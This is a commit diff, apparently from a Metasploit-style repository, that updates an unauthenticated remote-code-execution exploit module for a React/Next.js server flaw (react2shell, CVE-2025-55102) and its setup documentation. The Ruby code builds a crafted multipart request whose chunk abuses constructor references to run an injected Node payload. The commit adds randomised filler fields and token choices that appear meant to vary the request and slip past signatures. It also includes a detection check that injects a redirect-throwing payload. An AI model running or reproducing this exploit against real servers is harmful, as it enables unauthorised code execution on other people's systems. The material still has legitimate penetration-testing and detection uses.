Skip to content

Commit bdd7cb5

Browse files
committed
upgraded payload
1 parent 1dde12b commit bdd7cb5

File tree

2 files changed

+22
-30
lines changed

2 files changed

+22
-30
lines changed

documentation/modules/exploit/multi/http/react2shell_unauth_rce_cve_2025_55102.md

Lines changed: 5 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -22,16 +22,17 @@ docker run -p 3000:3000 react2shell
2222

2323
### Windows
2424

25-
1. Open `data\exploits\react2shell_unauth_rce_cve_2025_55102` directory
26-
2. Build the application
25+
1. Download and install Node.js https://nodejs.org/en/download
26+
2. Open `data\exploits\react2shell_unauth_rce_cve_2025_55102` directory
27+
3. Build the application
2728
```
2829
npm run build
2930
```
30-
3. Start the application
31+
4. Start the application
3132
```
3233
npm start
3334
```
34-
4. Open http://127.0.0.1:3000/ and make sure the app is available
35+
5. Open http://127.0.0.1:3000/ and make sure the app is available
3536

3637
## Scenario
3738

modules/exploits/multi/http/react2shell_unauth_rce_cve_2025_55102.rb

Lines changed: 17 additions & 26 deletions
Original file line numberDiff line numberDiff line change
@@ -75,50 +75,42 @@ def initialize(info = {})
7575
)
7676
end
7777

78-
def generate_random_index
79-
random_ref_idx = nil
80-
loop do
81-
random_ref_idx = Rex::Text.rand_text_numeric(1, '0').to_i
82-
83-
# The server returns an error when random_ref_idx = 2
84-
break unless random_ref_idx == 2
85-
end
86-
87-
random_ref_idx
88-
end
89-
90-
def build_malicious_chunk(random_ref_idx, random_reason, node_payload)
78+
def build_malicious_chunk(ref_idx, reason, get_token, node_payload)
9179
{
92-
'then' => "$#{random_ref_idx}:__proto__:then",
80+
'then' => "$#{ref_idx}:then",
9381
'status' => 'resolved_model',
94-
'reason' => random_reason,
82+
'reason' => reason,
9583
'value' => { 'then' => '$B' }.to_json,
9684
'_response' => {
9785
'_prefix' => node_payload,
98-
'_chunks' => '$Q2',
9986
'_formData' => {
100-
'get' => "$#{random_ref_idx}:constructor:constructor"
87+
'get' => "$#{ref_idx}:#{get_token}:constructor"
10188
}
10289
}
10390
}.to_json
10491
end
10592

93+
def get_random_value
94+
random_string = Rex::Text.rand_text_alphanumeric(6..14).upcase
95+
['""', '{}', '[]', 'null', 'undefined', 'true', 'false', "\"#{random_string}\""].sample
96+
end
97+
10698
def build_post_data(node_payload)
10799
random_reason = -Rex::Text.rand_text_numeric(1, '0').to_i
108-
random_ref_idx = generate_random_index
100+
random_ref_idx = Rex::Text.rand_text_numeric(1, '0').to_i
101+
random_get_token = ['then', 'constructor'].sample
109102

110-
chunk = build_malicious_chunk(random_ref_idx, random_reason, node_payload)
103+
chunk = build_malicious_chunk(random_ref_idx, random_reason, random_get_token, node_payload)
111104

112105
post_data = Rex::MIME::Message.new
113106
post_data.add_part(chunk, nil, nil, 'form-data; name="0"')
114107

115-
(1..(random_ref_idx - 1)).each do |i|
116-
post_data.add_part('null', nil, nil, "form-data; name=\"#{i}\"")
108+
cycle_length = rand(random_ref_idx..9)
109+
(1..cycle_length).each do |i|
110+
value = (i == random_ref_idx) ? "\"$@#{random_ref_idx}\"" : get_random_value
111+
post_data.add_part(value, nil, nil, "form-data; name=\"#{i}\"")
117112
end
118113

119-
post_data.add_part('"$@0"', nil, nil, "form-data; name=\"#{random_ref_idx}\"")
120-
post_data.add_part('[]', nil, nil, "form-data; name=\"#{random_ref_idx + 1}\"")
121-
122114
post_data
123115
end
124116

@@ -136,10 +128,9 @@ def send_payload(node_payload)
136128

137129
def check
138130
random_id = Rex::Text.rand_text_alphanumeric(8..16).upcase
131+
node_payload = "throw Object.assign(new Error('NEXT_REDIRECT'),{digest:`NEXT_REDIRECT;push;/#{random_id};307;`});"
139132

140-
node_payload = "throw Object.assign(new Error('NEXT_REDIRECT'), {digest: `NEXT_REDIRECT;push;/#{random_id};307;`});"
141133
res = send_payload(node_payload)
142-
143134
return CheckCode::Unknown("#{peer} - No response from web service") unless res
144135

145136
headers_text = res.headers.to_s

0 commit comments

Comments
 (0)